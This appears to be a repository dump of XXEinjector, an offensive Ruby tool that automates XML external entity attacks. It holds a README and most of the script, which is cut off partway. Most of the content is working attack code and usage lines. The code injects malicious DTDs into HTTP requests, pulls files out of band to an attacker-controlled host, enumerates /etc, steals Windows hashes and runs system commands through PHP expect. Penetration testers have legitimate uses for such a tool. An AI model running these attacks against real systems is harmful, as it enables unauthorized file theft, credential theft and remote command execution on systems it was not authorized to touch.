├── .gitignore ├── README.md └── XXEinjector.rb /.gitignore: -------------------------------------------------------------------------------- 1 | *.txt 2 | *.log 3 | Logs/ 4 | requests/ 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## XXEinjector 2 | 3 | XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications. 4 | 5 | ## Options:
6 | ``` 7 | --host Mandatory - our IP address for reverse connections. (--host=192.168.0.2) 8 | --file Mandatory - file containing valid HTTP request with xml. You can also mark with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt) 9 | --path Mandatory if enumerating directories - Path to enumerate. (--path=/etc) 10 | --brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt) 11 | --logger Log results only. Do not send requests. HTTP logger looks for "p" parameter with results. 12 | 13 | --rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3) 14 | --rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080) 15 | 16 | --oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher) 17 | --direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --direct-xml to see how XML in request file should look like or --localdtd-xml if you want to use local DTD during exploitation. In case of any problems with start and end marks when special characters are present in reponse before or after output data please use Burp Proxy match and replace option to replace that. (--direct=UNIQUEMARKSTART,UNIQUEMARKEND) 18 | --cdata Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique. 19 | --2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt) 20 | --phpfilter Use PHP filter to base64 encode target file before sending. 21 | --netdoc Use netdoc protocol instead of file (Java). 22 | --enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to enumerate all TCP ports. (--enumports=21,22,80,443,445) 23 | 24 | --hashes Steals Windows hash of the user that runs an application. 25 | --expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls) 26 | --upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt) 27 | --xslt Tests for XSLT injection. 28 | 29 | --ssl Use SSL. 30 | --proxy Proxy to use. (--proxy=127.0.0.1:8080) 31 | --httpport Set custom HTTP port. (--httpport=80) 32 | --ftpport Set custom FTP port. (--ftpport=21) 33 | --gopherport Set custom gopher port. (--gopherport=70) 34 | --jarport Set custom port for uploading files using jar. (--jarport=1337) 35 | --xsltport Set custom port for XSLT injection test. (--xsltport=1337) 36 | 37 | --test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server. 38 | --urlencode URL encode injected DTD. This is default for URI. 39 | --nodtd If you want to put DTD in request by yourself. Specify "--oob-xml" to show how DTD should look like. 40 | --output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt) 41 | --timeout Timeout for receiving file/directory content. (--timeout=20) 42 | --contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20) 43 | --fast Skip asking what to enumerate. Prone to false-positives. 44 | --verbose Show verbose messages. 45 | ``` 46 | 47 | ## Example usage:
48 | ``` 49 | Enumerating /etc directory in HTTPS application: 50 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl 51 | Enumerating /etc directory using gopher for OOB method: 52 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher 53 | Second order exploitation: 54 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt 55 | Bruteforcing files using HTTP out of band method and netdoc protocol: 56 | ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc 57 | Enumerating using direct exploitation: 58 | ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARKSTART,UNIQUEMARKEND 59 | Enumerating unfiltered ports: 60 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all 61 | Stealing Windows hashes: 62 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes 63 | Uploading files using Java jar: 64 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf 65 | Executing system commands using PHP expect: 66 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls 67 | Testing for XSLT injection: 68 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt 69 | Log requests only: 70 | ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt 71 | ``` 72 | 73 | **Disclaimer** 74 | 75 | This repository contains tool developed strictly for educational purposes. Any misuse of the tool for illegal activities is strictly prohibited. 76 | 77 | **Legal Notice** 78 | 79 | It is important to understand and comply with all local laws and regulations related to cybersecurity and ethical hacking. Unauthorized access to computer systems, networks, or data is illegal and punishable by law. The developer of this repository is not responsible for any misuse of the tools contained herein. 80 | 81 | By using the tools in this repository, you agree to use them responsibly and ethically. Always obtain explicit permission before testing or attempting to access any network, system, or data that does not belong to you. 82 | -------------------------------------------------------------------------------- /XXEinjector.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'socket' 4 | require 'fileutils' 5 | require 'uri' 6 | require 'cgi' 7 | require 'net/http' 8 | require 'net/https' 9 | require 'base64' 10 | require 'readline' 11 | 12 | # CONFIGURE 13 | host = "" # our external ip 14 | $path = "" # path to enumerate 15 | $file = "" # file with vulnerable HTTP request 16 | $secfile = "" # file with second request (2nd order) 17 | enum = "ftp" # which out of band protocol should be used for file retrieval - ftp/http/gopher 18 | $logger = "n" # only log requests, do not send anything 19 | 20 | $proto = "http" # protocol to use - http/https 21 | $proxy = "" # proxy host 22 | $proxy_port = "" # proxy port 23 | 24 | enumports = "" # which ports should be checked if they are unfiltered for reverse connections 25 | phpfilter = "n" # if yes php filter will be used to base64 encode file content - y/n 26 | $urlencode = "n" # if injected DTD should be URL encoded 27 | enumall = "n" # if yes XXEinjector will not ask what to enum (prone to false positives) - y/n 28 | $brute = "" # file with paths to bruteforce 29 | $direct = "" # if direct exploitation should be used, this parameter should contain unique mark between which results are returned 30 | cdata = "n" # if XXEinjector should use CDATA while using direct exploitation 31 | 32 | hashes = "n" # steal Windows hashes 33 | upload = "" # upload this file into temp directory using Java jar schema 34 | expect = "" # command that gets executed using PHP expect 35 | $xslt = "n" # tests for XSLT 36 | 37 | $test = false # test mode, shows only payload 38 | $dtdi = "y" # if yes then DTD is injected automatically 39 | $rproto = "file" # file or netdoc protocol to retrieve data 40 | $output = "brute.log" # output file for brute and logger modes 41 | $verbose = "n" # verbose messaging 42 | timeout = 10 # timeout for receiving responses 43 | $contimeout = 30 # timeout used to close connection with server 44 | 45 | $port = 0 # remote host application port 46 | $remote = "" # remote host URL/IP address 47 | 48 | http_port = 80 # http port that receives file contents/directory listings and serves XML files 49 | ftp_port = 21 # ftp port that receives file contents/directory listings 50 | gopher_port = 70 # gopher port that receives file contents/directory listings 51 | jar_port = 1337 # port accepts connections and then sends files 52 | xslt_port = 1337 # port that is used to test for XSLT injection 53 | 54 | # holds HTTP responses 55 | $response = "" 56 | # regex to find directory listings 57 | $regex = /^[$.\-_~ 0-9A-Za-z]+$/ 58 | # array that holds filenames to enumerate 59 | $filenames = Array.new 60 | # temp path holders - hold next filenames in different formats for enumeration 61 | $nextpath = "" 62 | enumpath = "" 63 | $tmppath = "" 64 | $directpath = "" 65 | # array that contains skipped and allowed paths 66 | blacklist = Array.new 67 | whitelist = Array.new 68 | # other variables 69 | $method = "POST" # HTTP method 70 | cmp = "" # holds user input 71 | switch = 0 # this switch locks enumeration if response is pending 72 | i = 0 # main counter 73 | $time = 1 # HTTP response timeout 74 | 75 | # set all variables 76 | ARGV.each do |arg| 77 | host = arg.split("=")[1] if arg.include?("--host=") 78 | $path = arg.split("=")[1] if arg.include?("--path=") 79 | $file = arg.split("=")[1] if arg.include?("--file=") 80 | enum = arg.split("=")[1] if arg.include?("--oob=") 81 | $proto = "https" if arg.include?("--ssl") 82 | $proxy = arg.split("=")[1].split(":")[0] if arg.include?("--proxy=") 83 | $proxy_port = arg.split("=")[1].split(":")[1] if arg.include?("--proxy=") 84 | phpfilter = "y" if arg.include?("--phpfilter") 85 | enumall = "y" if arg.include?("--fast") 86 | $brute = arg.split("=")[1] if arg.include?("--brute=") 87 | $verbose = "y" if arg.include?("--verbose") 88 | xslt_port = arg.split("=")[1] if arg.include?("--xsltport=") 89 | http_port = arg.split("=")[1] if arg.include?("--httpport=") 90 | ftp_port = arg.split("=")[1] if arg.include?("--ftpport=") 91 | gopher_port = arg.split("=")[1] if arg.include?("--gopherport=") 92 | jar_port = arg.split("=")[1] if arg.include?("--jarport=") 93 | timeout = Integer(arg.split("=")[1]) if arg.include?("--timeout=") 94 | hashes = "y" if arg.include?("--hashes") 95 | upload = arg.split("=")[1] if arg.include?("--upload=") 96 | expect = arg.split("=")[1] if arg.include?("--expect=") 97 | enumports = arg.split("=")[1] if arg.include?("--enumports=") 98 | $urlencode = "y" if arg.include?("--urlencode") 99 | $dtdi = "n" if arg.include?("--nodtd") 100 | $xslt = "y" if arg.include?("--xslt") 101 | $direct = arg.split("=")[1] if arg.include?("--direct=") 102 | $logger = "y" if arg.include?("--logger") 103 | $brute = "logger" if arg.include?("--logger") 104 | $output = arg.split("=")[1] if arg.include?("--output=") 105 | $secfile = arg.split("=")[1] if arg.include?("--2ndfile=") 106 | $rproto = "netdoc" if arg.include?("--netdoc") 107 | $contimeout = Integer(arg.split("=")[1]) if arg.include?("--contimeout=") 108 | $port = Integer(arg.split("=")[1]) if arg.include?("--rport=") 109 | $remote = arg.split("=")[1] if arg.include?("--rhost=") 110 | $test = true if arg.include?("--test") 111 | cdata = "y" if arg.include?("--cdata") 112 | end 113 | 114 | # show DTD to inject 115 | if ARGV.include? "--oob-xml" 116 | if host == "" 117 | host = "YOUR_HOST" 118 | end 119 | if http_port == "" 120 | http_port = "HTTPPORT" 121 | end 122 | puts "" 123 | puts "%remote;%int;%trick;]>" 124 | puts "" 125 | exit(1) 126 | 127 | # show sample direct exploitation XML 128 | elsif ARGV.include? "--direct-xml" 129 | puts "" 130 | puts "]>UNIQUEMARK&direct;UNIQUEMARK" 131 | puts "" 132 | exit(1) 133 | 134 | # show sample direct exploitation XML using local DTD 135 | elsif ARGV.include? "--localdtd-xml" 136 | puts "" 137 | puts "\">%eval;%error;'>%local_dtd;]>" 138 | puts "" 139 | exit(1) 140 | 141 | # show sample direct exploitation XML with CDATA 142 | elsif ARGV.include? "--cdata-xml" 143 | if host == "" 144 | host = "YOUR_HOST" 145 | end 146 | if http_port == "" 147 | http_port = "HTTPPORT" 148 | end 149 | puts "" 150 | puts "\">%remote;]>UNIQUEMARK&join;UNIQUEMARK" 151 | puts "" 152 | exit(1) 153 | 154 | # show main menu 155 | elsif ARGV.nil? || (ARGV.size < 3 && $logger == "n") || (host == "" && $direct == "" && $logger == "n") || ($file == "" && $logger == "n") || ($path == "" && $brute == "" && hashes == "n" && upload == "" && expect == "" && enumports == "" && $xslt == "n" && $logger == "n") 156 | puts "XXEinjector by Jakub Pa\u0142aczy\u0144ski" 157 | puts "" 158 | puts "XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications." 159 | puts "" 160 | puts "Options:" 161 | puts " --host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)" 162 | puts " --file Mandatory - file containing valid HTTP request with xml. You can also mark with \"XXEINJECT\" a point where DTD should be injected. (--file=/tmp/req.txt)" 163 | puts " --path Mandatory if enumerating directories - Path to enumerate. (--path=/etc)" 164 | puts " --brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)" 165 | puts " --logger Log results only. Do not send requests. HTTP logger looks for \"p\" parameter with results." 166 | puts "" 167 | puts " --rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)" 168 | puts " --rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)" 169 | puts "" 170 | puts " --oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)" 171 | puts " --direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --direct-xml to see how XML in request file should look like or --localdtd-xml if you want to use local DTD during exploitation. In case of any problems with start and end marks when special characters are present in reponse before or after output data please use Burp Proxy match and replace option to replace that. (--direct=UNIQUEMARKSTART,UNIQUEMARKEND)" 172 | puts " --cdata Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique." 173 | puts " --2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)" 174 | puts " --phpfilter Use PHP filter to base64 encode target file before sending." 175 | puts " --netdoc Use netdoc protocol instead of file (Java)." 176 | puts " --enumports Enumerating unfiltered ports for reverse connection. Specify value \"all\" to enumerate all TCP ports. (--enumports=21,22,80,443,445)" 177 | puts "" 178 | puts " --hashes Steals Windows hash of the user that runs an application." 179 | puts " --expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)" 180 | puts " --upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)" 181 | puts " --xslt Tests for XSLT injection." 182 | puts "" 183 | puts " --ssl Use SSL." 184 | puts " --proxy Proxy to use. (--proxy=127.0.0.1:8080)" 185 | puts " --httpport Set custom HTTP port. (--httpport=80)" 186 | puts " --ftpport Set custom FTP port. (--ftpport=21)" 187 | puts " --gopherport Set custom gopher port. (--gopherport=70)" 188 | puts " --jarport Set custom port for uploading files using jar. (--jarport=1337)" 189 | puts " --xsltport Set custom port for XSLT injection test. (--xsltport=1337)" 190 | puts "" 191 | puts " --test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server." 192 | puts " --urlencode URL encode injected DTD. This is default for URI." 193 | puts " --nodtd If you want to put DTD in request by yourself. Specify \"--oob-xml\" to show how DTD should look like." 194 | puts " --output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)" 195 | puts " --timeout Timeout for receiving file/directory content. (--timeout=20)" 196 | puts " --contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)" 197 | puts " --fast Skip asking what to enumerate. Prone to false-positives." 198 | puts " --verbose Show verbose messages." 199 | puts "" 200 | puts "Example usage:" 201 | puts " Enumerating /etc directory in HTTPS application:" 202 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl" 203 | puts " Enumerating /etc directory using gopher for OOB method:" 204 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher" 205 | puts " Second order exploitation:" 206 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt" 207 | puts " Bruteforcing files using HTTP out of band method and netdoc protocol:" 208 | puts " ruby #{__FILE__} --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc" 209 | puts " Enumerating using direct exploitation:" 210 | puts " ruby #{__FILE__} --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARKSTART,UNIQUEMARKEND" 211 | puts " Enumerating unfiltered ports:" 212 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --enumports=all" 213 | puts " Stealing Windows hashes:" 214 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --hashes" 215 | puts " Uploading files using Java jar:" 216 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf" 217 | puts " Executing system commands using PHP expect:" 218 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls" 219 | puts " Testing for XSLT injection:" 220 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --xslt" 221 | puts " Log requests only:" 222 | puts " ruby #{__FILE__} --logger --oob=http --output=/tmp/out.txt" 223 | puts "" 224 | exit(1) 225 | else 226 | puts "XXEinjector by Jakub Pa\u0142aczy\u0144ski" 227 | puts "" 228 | puts "Enumeration options:" 229 | puts "\"y\" - enumerate currect file (default)" 230 | puts "\"n\" - skip currect file" 231 | puts "\"a\" - enumerate all files in currect directory" 232 | puts "\"s\" - skip all files in currect directory" 233 | puts "\"q\" - quit" 234 | puts "" 235 | end 236 | 237 | # EXECUTION 238 | 239 | ### Processing Request File ### 240 | 241 | # Configure basic options 242 | 243 | # set proxy 244 | if $proxy == "" 245 | $proxy = nil 246 | $proxy_port = nil 247 | end 248 | 249 | # get connection host and port 250 | if $logger == "n" 251 | z = 1 252 | loop do 253 | begin 254 | break if File.readlines($file)[z].chomp.empty? 255 | if File.readlines($file)[z].include?("Host: ") 256 | $remote = File.readlines($file)[z].split(" ")[1] 257 | if $remote.include?(":") 258 | $port = $remote.split(":")[1] 259 | $remote = $remote.split(":")[0] 260 | end 261 | end 262 | rescue 263 | puts "[-] Wrong HTTP file format." 264 | exit(1) 265 | end 266 | z = z + 1 267 | end 268 | if $port == 0 269 | if $proto == "http" 270 | $port = 80 271 | else 272 | $port = 443 273 | end 274 | end 275 | if $remote == "" 276 | puts "[-] Cannot retrieve hostname." 277 | exit(1) 278 | end 279 | end 280 | 281 | # Configure main request 282 | def configreq() 283 | 284 | found = 0 # for detecting injected DTD 285 | 286 | # assign HTTP method 287 | $method = File.readlines($file)[0].split(" ")[0] 288 | 289 | # get URI path 290 | $uri = File.readlines($file)[0].split(" ")[1] 291 | if $dtdi == "y" 292 | turi = CGI.unescape($uri).gsub("+", " ") 293 | if turi.include?("XXEINJECT") 294 | if $direct != "" 295 | $uri = $uri.sub("XXEINJECT", $rproto + ":///#{$directpath}") 296 | found = found + 1 297 | elsif $xslt == "n" 298 | $uri = $uri.sub("XXEINJECT", URI.encode($dtd).gsub("%20", "+")) 299 | found = found + 1 300 | else 301 | $uri = $uri.sub("XXEINJECT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 302 | found = found + 1 303 | end 304 | #puts "DTD injected." if $verbose == "y" 305 | elsif turi.include?("", "?>" + URI.encode($dtd).gsub("%20", "+")) 308 | $uri = $uri.sub(/(\?%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 309 | $uri = $uri.sub(/(%3f>)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 310 | $uri = $uri.sub(/(%3f%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 311 | #puts "DTD injected." if $verbose == "y" 312 | found = found + 1 313 | else 314 | if turi.match(/(\<\?xml)(.*)(&)/i) 315 | $uri = $uri.sub(/(\<\?xml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&") 316 | $uri = $uri.sub(/(%3c%3fxml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&") 317 | $uri = $uri.sub(/(%3c\?xml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&") 318 | $uri = $uri.sub(/(\<%3fxml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&") 319 | found = found + 1 320 | elsif turi.match(/(\<\?xml)(.*)/i) 321 | $uri = $uri.sub(/(\<\?xml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 322 | $uri = $uri.sub(/(%3c%3fxml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 323 | $uri = $uri.sub(/(%3c\?xml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 324 | $uri = $uri.sub(/(\<%3fxml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 325 | found = found + 1 326 | end 327 | #puts "DTD injected." if $verbose == "y" 328 | end 329 | end 330 | end 331 | 332 | # get headers 333 | i = 1 334 | $headers = Hash.new 335 | loop do 336 | break if File.readlines($file)[i].chomp.empty? 337 | if !File.readlines($file)[i].include?("Host: ") 338 | header = File.readlines($file)[i].chomp 339 | if $dtdi == "y" 340 | if header.include?("XXEINJECT") 341 | if $direct != "" 342 | header = header.sub("XXEINJECT", $rproto + ":///#{$directpath}") 343 | found = found + 1 344 | elsif $urlencode == "y" 345 | if $xslt == "n" 346 | header = header.sub("XXEINJECT", URI.encode($dtd).gsub("%20", "+").gsub(";", "%3B")) 347 | else 348 | header = header.sub("XXEINJECT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D").gsub(";", "%3B")) 349 | end 350 | found = found + 1 351 | else 352 | if $xslt == "n" 353 | header = header.sub("XXEINJECT", $dtd) 354 | else 355 | header = header.sub("XXEINJECT", $xsl) 356 | end 357 | found = found + 1 358 | end 359 | #puts "DTD injected." if $verbose == "y" 360 | end 361 | end 362 | if header.include?("Accept-Encoding") && $direct != "" 363 | else 364 | $headers[header.split(": ")[0]] = header.split(": ")[1] 365 | end 366 | end 367 | i = i + 1 368 | end 369 | 370 | # get body 371 | i = i + 1 372 | $post = "" 373 | postfind = 0 374 | loop do 375 | break if File.readlines($file)[i].nil? 376 | postline = File.readlines($file)[i] 377 | if $dtdi == "y" 378 | tline = CGI.unescape(postline).gsub("+", " ") 379 | if tline.include?("XXEINJECT") && $xslt == "n" 380 | if $direct != "" 381 | postline = postline.sub("XXEINJECT", $rproto + ":///#{$directpath}") 382 | found = found + 1 383 | elsif $urlencode == "y" 384 | if $xslt == "n" 385 | postline = postline.sub("XXEINJECT", URI.encode($dtd).gsub("%20", "+")) 386 | else 387 | postline = postline.sub("XXEINJECT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D")) 388 | end 389 | found = found + 1 390 | else 391 | if $xslt == "n" 392 | postline = postline.sub("XXEINJECT", $dtd) 393 | else 394 | postline = postline.sub("XXEINJECT", $xsl) 395 | end 396 | found = found + 1 397 | end 398 | #puts "DTD injected." if $verbose == "y" 399 | elsif tline.include?("XXEINJECT") && $xslt == "y" 400 | postfind = 1 401 | elsif tline.include?("", "?>" + URI.encode($dtd).gsub("%20", "+")) 404 | postline = postline.sub(/(\?%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 405 | postline = postline.sub(/(%3f>)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 406 | postline = postline.sub(/(%3f%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+")) 407 | found = found + 1 408 | else 409 | postline = postline.sub("?>", "?>" + $dtd) 410 | postline = postline.sub(/(\?%3e)/i, '\1' + $dtd) 411 | postline = postline.sub(/(%3f>)/i, '\1' + $dtd) 412 | postline = postline.sub(/(%3f%3e)/i, '\1' + $dtd) 413 | found = found + 1 414 | end 415 | #puts "DTD injected." if $verbose == "y" 416 | elsif tline.include?(" 1 469 | puts "[-] Multiple instances of XML found. It may results in false-positives." 470 | end 471 | 472 | # configuring request 473 | $request = Net::HTTP.new($remote, $port, $proxy, $proxy_port) 474 | 475 | # set HTTPS 476 | if $proto == "https" 477 | $request.use_ssl = true 478 | $request.verify_mode = OpenSSL::SSL::VERIFY_NONE 479 | end 480 | end 481 | 482 | ### End of Processing Request File ### 483 | 484 | ### Configure request for 2nd order case ### 485 | if $secfile != "" 486 | 487 | # check HTTP method 488 | $secmethod = File.readlines($secfile)[0].split(" ")[0] 489 | 490 | # get URI path 491 | $securi = File.readlines($secfile)[0].split(" ")[1] 492 | 493 | # get headers 494 | y = 1 495 | $secheaders = Hash.new 496 | loop do 497 | break if File.readlines($secfile)[y].chomp.empty? 498 | if !File.readlines($secfile)[y].include?("Host: ") 499 | header = File.readlines($secfile)[y].chomp 500 | if header.include?("Accept-Encoding") 501 | else 502 | $secheaders[header.split(": ")[0]] = header.split(": ")[1] 503 | end 504 | end 505 | y = y + 1 506 | end 507 | 508 | # get body 509 | y = y + 1 510 | $secpost = "" 511 | loop do 512 | break if File.readlines($secfile)[y].nil? 513 | postline = File.readlines($secfile)[y] 514 | $secpost += postline 515 | y = y + 1 516 | end 517 | 518 | # configuring 2nd request 519 | $secrequest = Net::HTTP.new($remote, $port, $proxy, $proxy_port) 520 | 521 | # set HTTPS 522 | if $proto == "https" 523 | $secrequest.use_ssl = true 524 | $secrequest.verify_mode = OpenSSL::SSL::VERIFY_NONE 525 | end 526 | end 527 | 528 | ### End of Processing 2nd Request File ### 529 | 530 | # Sending request 531 | def sendreq() 532 | 533 | if $test == true 534 | puts "URL:" 535 | if $proto == "http" 536 | puts "http://#{$remote}:#{$port}#{$uri}" 537 | else 538 | puts "https://#{$remote}:#{$port}#{$uri}" 539 | end 540 | puts "\nHeaders:" 541 | puts $headers 542 | if $post != "" 543 | puts "\nRequest body:" 544 | puts $post 545 | end 546 | exit(1) 547 | end 548 | 549 | if $verbose == "y" 550 | puts "[+] Sending request with malicious XML:" 551 | if $proto == "http" 552 | puts "http://#{$remote}:#{$port}#{$uri}" 553 | puts $headers 554 | puts "\n" 555 | puts $post 556 | puts "\n" 557 | else 558 | puts "https://#{$remote}:#{$port}#{$uri}" 559 | puts $headers 560 | puts "\n" 561 | puts $post 562 | puts "\n" 563 | end 564 | else 565 | puts "[+] Sending request with malicious XML." 566 | end 567 | 568 | $response = "" 569 | begin 570 | status = Timeout::timeout($time) { 571 | if ['GET', 'HEAD', 'TRACE', 'OPTIONS', 'MOVE', 'COPY', 'DELETE'].include? $method 572 | $response = $request.send_request($method, $uri, nil, $headers) 573 | else 574 | $response = $request.send_request($method, $uri, $post, $headers) 575 | end 576 | } 577 | rescue Timeout::Error 578 | end 579 | end 580 | 581 | # Sending second request 582 | def send2ndreq() 583 | 584 | if $verbose == "y" 585 | puts "[+] Sending second request:" 586 | if $proto == "http" 587 | puts "http://#{$remote}:#{$port}#{$securi}" 588 | puts $secheaders 589 | puts "\n" 590 | puts $secpost 591 | puts "\n" 592 | else 593 | puts "https://#{$remote}:#{$port}#{$securi}" 594 | puts $secheaders 595 | puts "\n" 596 | puts $secpost 597 | puts "\n" 598 | end 599 | else 600 | puts "[+] Sending second request." 601 | end 602 | 603 | $response = "" 604 | begin 605 | status = Timeout::timeout($time) { 606 | if ['GET', 'HEAD', 'TRACE', 'OPTIONS', 'MOVE', 'COPY', 'DELETE'].include? $secmethod 607 | $response = $secrequest.send_request($secmethod, $securi, nil, $secheaders) 608 | else 609 | $response = $secrequest.send_request($secmethod, $securi, $secpost, $secheaders) 610 | end 611 | } 612 | rescue Timeout::Error 613 | end 614 | end 615 | 616 | # logging to separate file or output file if in bruteforce mode 617 | def log(param) 618 | if $brute == "" 619 | logpath = "#{$path}" 620 | if $direct == "" 621 | if $tmppath != "" && logpath[-1] != "/" 622 | logpath += "/" 623 | end 624 | logpath += "#{$tmppath}" 625 | else 626 | if $nextpath != "" && logpath[-1] != "/" 627 | logpath += "/" 628 | end 629 | logpath += "#{$nextpath}" 630 | end 631 | logpath = logpath.gsub('\\','/') 632 | logpath[0] = "" if logpath[0] == "/" 633 | logpath[-1] = "" if logpath[-1] == "/" 634 | if $tmppath != "" 635 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath.split("/")[0..-2].join('/') 636 | else 637 | if logpath.include?("/") 638 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath.split("/")[0..-2].join('/') 639 | else 640 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath 641 | end 642 | end 643 | if $done == 0 644 | if $cut == 1 645 | #puts "Successfully logged file: /#{logpath}" 646 | else 647 | if logpath[-1] == ":" 648 | #puts "Successfully logged file: #{logpath}/" 649 | else 650 | #puts "Successfully logged file: #{logpath}" 651 | end 652 | end 653 | $done = 1 654 | end 655 | if logpath == "" 656 | log = File.open("Logs/" + $remote + "/" + "rootdir.log", "a") 657 | else 658 | log = File.open("Logs/" + $remote + "/" + "#{logpath}.log", "a") 659 | end 660 | log.write param 661 | log.close 662 | else 663 | log = File.open($output, "a") 664 | log.write param 665 | puts "#{param}\n" if $logger == "y" || $verbose == "y" 666 | print "> " if $logger == "y" 667 | log.close 668 | end 669 | end 670 | 671 | # pushing enumerated items to an array 672 | def pusharr(param) 673 | if $brute == "" 674 | param = param.chomp 675 | if param.match $regex 676 | if $direct == "" 677 | logp = $tmppath 678 | if $tmppath != "" 679 | logp += "/" 680 | end 681 | else 682 | logp = $nextpath 683 | if $nextpath != "" 684 | logp += "/" 685 | end 686 | end 687 | logp += param 688 | $filenames.push(logp) 689 | puts "#{logp}" 690 | end 691 | end 692 | end 693 | 694 | # initial changes 695 | # set longer timeout for direct exploitation 696 | if $direct != "" 697 | $time = 30 698 | end 699 | 700 | # Remove first slash if unix-like path specified 701 | $cut = 0 702 | if $path[0] == "/" 703 | $path[0] = '' 704 | $cut = 1 705 | end 706 | 707 | # Remove slash at the end if not Windows drive 708 | if $path[-1] == "/" && $path[-2] != ":" 709 | $path[-1] = '' 710 | end 711 | 712 | # Add some 